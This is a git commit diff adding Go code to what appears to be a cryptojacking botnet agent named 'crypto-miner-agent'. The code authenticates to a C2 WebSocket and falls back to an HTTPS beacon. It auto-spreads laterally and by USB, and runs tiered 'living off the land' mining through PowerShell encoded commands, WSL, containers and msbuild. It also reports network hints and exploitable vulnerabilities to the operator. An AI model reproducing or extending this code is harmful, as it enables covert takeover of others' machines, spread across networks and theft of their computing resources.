Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -1,6 +1,7 @@
package client
import (
"context"
"encoding/base64"
"encoding/json"
"fmt"
@@ -23,6 +24,7 @@ import (
"crypto-miner-agent/job"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
"crypto-miner-agent/vulnprobe"
"github.com/gorilla/websocket"
)
@@ -46,6 +48,26 @@ type AgentClient struct {
// The Stratum fallback manager monitors this to decide when to mine directly.
connected atomic.Bool
// containerMiner supervises OCI-isolated CPU mining (container / docker_load tiers).
containerMiner *miner.ContainerLauncher
// wslMiner supervises CPU mining inside WSL2 via wsl.exe -e.
wslMiner *miner.WSLLauncher
// psMiner hosts in-memory assembly / encoded-command mining via powershell.exe.
psMiner *miner.PowerShellLauncher
// dotnetMiner compiles and runs a LOTL Stratum stub via dotnet/msbuild.
dotnetMiner *miner.DotnetLauncher
// hostMiningDisabled is true when a healthy container handles RandomX on the host.
hostMiningDisabled atomic.Bool
// miningChain orchestrates container → in-process → GPU → Stratum cascade.
miningChain *MiningChainRunner
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
tierPolicy miner.MiningTierPolicy
// triplePolicy is server-pulled recon → deploy → mining gate policy.
triplePolicy miner.TripleOnionPolicy
triplePolicyLoaded bool
// joinLane is the last successful discover_and_join supply-chain lane.
joinLane string
// lastJobAt records when the most recent valid mining job was delivered.
// The Stratum fallback manager uses this to detect "connected but jobless"
// situations and start direct Stratum mining after a timeout.
@@ -55,6 +77,9 @@ type AgentClient struct {
// successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
commandResultHook func(action string, success bool, message string)
// beaconMode is true while commands/results use HTTPS beacon transport.
beaconMode atomic.Bool
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
@@ -69,6 +94,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
agentID: cfg.AgentID,
}
c.mesh = NewMeshNode(c)
c.initSpreadCredHooks()
return c
}
@@ -87,14 +113,15 @@ func (c *AgentClient) Run() error {
c.pool.Start()
defer c.pool.Stop()
// Start GPU miner (Ravencoin / KawPoW) if configured
if gm := newGPUMiner(c.cfg); gm != nil {
c.mu.Lock()
c.gpuMiner = gm
c.mu.Unlock()
gm.Start()
defer gm.Stop()
chainCtx, chainCancel := context.WithCancel(context.Background())
defer chainCancel()
c.miningChain = c.newMiningChainRunner()
if deploy.WantsDeferMining() {
go c.startMiningWhenReady(chainCtx)
} else {
c.miningChain.Start(chainCtx)
}
defer c.miningChain.Stop()
// Start AI Autonomy runner if enabled
if c.cfg.AIEnabled {
@@ -324,9 +351,12 @@ func (c *AgentClient) authenticate() error {
OSVersion: deploy.HostOSVersion(),
MacAddress: primaryMACAddress(),
BuildID: c.cfg.BuildID,
USBSpread: c.cfg.USBSpread,
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
USBSpread: c.cfg.USBSpread,
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
JoinLane: c.getJoinLane(),
})
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
@@ -350,7 +380,15 @@ func (c *AgentClient) authenticate() error {
if !resp.Success {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.applyAuthLotlPolicy(resp)
c.agentID = resp.AgentID
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
c.mu.Lock()
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
cfg := c.cfg
c.mu.Unlock()
log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
}
c.clearWSDownSince()
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
@@ -360,16 +398,21 @@ func (c *AgentClient) authenticate() error {
// Gate AutoSpread behind successful server auth: only spread on fleets where
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
if c.cfg.AutoSpread {
c.spreadOnce.Do(func() {
deploy.StartAutoSpreader(c.cfg)
// One-shot first-run spread (triggered on the very first install).
if deploy.WantsFirstRunSpread(c.cfg) {
deploy.RunSpreadOnce(c.cfg)
deploy.ClearFirstRunSpreadMarker(c.cfg)
c.spreadOnce.Do(func() {
c.mu.Lock()
cfg := c.cfg
c.mu.Unlock()
if cfg.AutoSpread {
deploy.StartAutoSpreader(cfg)
if deploy.WantsFirstRunSpread(cfg) {
deploy.RunSpreadOnce(cfg)
deploy.ClearFirstRunSpreadMarker(cfg)
}
})
}
}
if cfg.LotlOnionEnabled {
deploy.StartLotlOnion(cfg)
}
})
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
return nil
@@ -465,24 +508,62 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
return
}
c.sendCommandResult(action, true, "module "+module+" applied")
case "start_mining":
// WSL sidecar: toggle systemd user unit when that tier is active (see wsl_launcher.go).
if c.wslMiner != nil && c.wslMiner.Running() {
wslRT := miner.WSLDetector()
_ = miner.ToggleWSLMining(wslRT, "", true)
}
if c.miningChain != nil {
c.miningChain.Resume(context.Background())
} else {
c.pool.ResumeRemote()
}
c.sendCommandResult(action, true, "mining started")
case "pause":
c.pool.PauseRemote()
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Pause()
if c.wslMiner != nil && c.wslMiner.Running() {
wslRT := miner.WSLDetector()
_ = miner.ToggleWSLMining(wslRT, "", false)
}
if c.miningChain != nil {
c.miningChain.Stop()
} else {
c.pool.PauseRemote()
if c.containerMiner != nil && c.containerMiner.Running() {
c.containerMiner.Stop()
}
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Pause()
}
}
c.sendCommandResult(action, true, "mining paused")
case "resume":
c.pool.ResumeRemote()
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Resume()
if c.miningChain != nil {
c.miningChain.Resume(context.Background())
} else {
if c.containerMiner != nil && !c.containerMiner.Running() {
if err := c.containerMiner.Start(); err != nil {
log.Printf("[container] resume restart failed: %v — using in-process mining", err)
c.hostMiningDisabled.Store(false)
c.pool.ResumeRemote()
} else {
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
}
} else if !c.hostMiningDisabled.Load() {
c.pool.ResumeRemote()
}
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Resume()
}
}
c.sendCommandResult(action, true, "mining resumed")
c.sendCommandResult(action, true, "fleet health: hashing restored")
case "restart":
c.sendCommandResult(action, true, "restarting")
go c.restartSelf()
@@ -515,6 +596,8 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
c.sendCommandResult(action, true, "system shutdown initiated")
}
}()
case "mining_diagnostics":
c.sendCommandResult(action, true, c.miningDiagnosticsJSON())
case "get_log":
if tailLines <= 0 {
tailLines = 300
@@ -640,6 +723,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
}
func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
if c.commandResultHook != nil {
c.commandResultHook(action, success, message)
return
}
payload, _ := json.Marshal(map[string]interface{}{
"action": action,
"success": success,
@@ -841,6 +928,16 @@ func probeSSH() bool {
return true
}
func (c *AgentClient) stratumEgress(stratumOverlay bool) string {
if stratumOverlay {
return "direct"
}
if c.connected.Load() {
return "c2_ws"
}
return "none"
}
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
@@ -852,6 +949,8 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
var lastPressure *ResourcePressure
var lastDNS *DNSConfig
var lastListenPortCount *int
var lastNetworkHints *deploy.NetworkHints
var lastVulnReport *vulnprobe.ScanReport
var postureReady bool
for {
select {
@@ -908,6 +1007,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
n := lp.Count
lastListenPortCount = &n
}
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
lastNetworkHints = &hints
lastVulnReport = RunVulnLOTLProbe()
}
probeTick++
@@ -927,6 +1029,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.DNSSearchDomains = lastDNS.SearchDomains
}
stats.ListenPortCount = lastListenPortCount
stats.NetworkHints = lastNetworkHints
if lastPressure != nil {
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
@@ -972,6 +1075,69 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.AgentElevated = lastPosture.AgentElevated
stats.Services = lastPosture.Services
}
if c.miningChain != nil {
ms := c.miningChain.Status()
stats.ActiveMethod = string(ms.ActiveMethod)
stats.StratumOverlay = ms.StratumOverlay
stats.ChainExhausted = ms.ChainExhausted
stats.MiningLastError = ms.LastError
if ms.LOTLTier != "" {
stats.LOTLTier = string(ms.LOTLTier)
}
if len(ms.LOTLAttempts) > 0 {
stats.LOTLAttempts = make([]TierAttemptPayload, len(ms.LOTLAttempts))
for i, a := range ms.LOTLAttempts {
stats.LOTLAttempts[i] = TierAttemptPayload{
Phase: a.Phase,
Tier: string(a.Tier),
OK: a.OK,
Error: a.Error,
DurationMs: a.DurationMs,
Wallet: a.Wallet,
}
}
}
if len(ms.FailedMethods) > 0 {
stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
for i, f := range ms.FailedMethods {
stats.FailedMethods[i] = MethodFailurePayload{
Method: string(f.Method),
Reason: f.Reason,
At: f.At,
}
}
}
if len(ms.ChainOrder) > 0 {
stats.ChainOrder = make([]string, len(ms.ChainOrder))
for i, m := range ms.ChainOrder {
stats.ChainOrder[i] = string(m)
}
}
stats.StratumEgress = c.stratumEgress(ms.StratumOverlay)
} else {
stats.StratumEgress = c.stratumEgress(false)
}
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
if lastVulnReport != nil {
score := lastVulnReport.RiskScore
stats.VulnRiskScore = &score
if len(lastVulnReport.Findings) > 0 {
stats.VulnFindings = make([]VulnFindingPayload, len(lastVulnReport.Findings))
for i, f := range lastVulnReport.Findings {
stats.VulnFindings[i] = VulnFindingPayload{
CVEID: f.CVEID,
Severity: f.Severity,
Component: f.Component,
Patched: f.Patched,
ExploitableInFleetContext: f.ExploitableInFleetContext,
Detail: f.Detail,
}
}
}
}
if lane := c.getJoinLane(); lane != "" {
stats.JoinLane = lane
}
payload, _ := json.Marshal(stats)
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
log.Printf("[agent] stats send failed: %v", err)
@@ -1026,6 +1192,10 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
if c.cfg.PoolHost == "" {
return // no pool configured
}
if c.cfg.StratumOverWS {
log.Printf("[stratum] StratumOverWS enabled — direct pool egress disabled; telemetry via C2 WebSocket")
return
}
type fallback struct {
stop chan struct{}
@@ -1057,6 +1227,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
sc.RunFallback(stop)
}()
fb = &fallback{stop: stop, wait: wait}
if c.miningChain != nil {
c.miningChain.SetStratumActive(true)
}
if c.connected.Load() {
log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
} else {
@@ -1070,6 +1243,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
<-fb.wait
fb = nil
c.pool.SetShareHandler(c.submitShare)
if c.miningChain != nil {
c.miningChain.SetStratumActive(false)
}
log.Printf("[stratum] fallback stopped — %s", reason)
}
}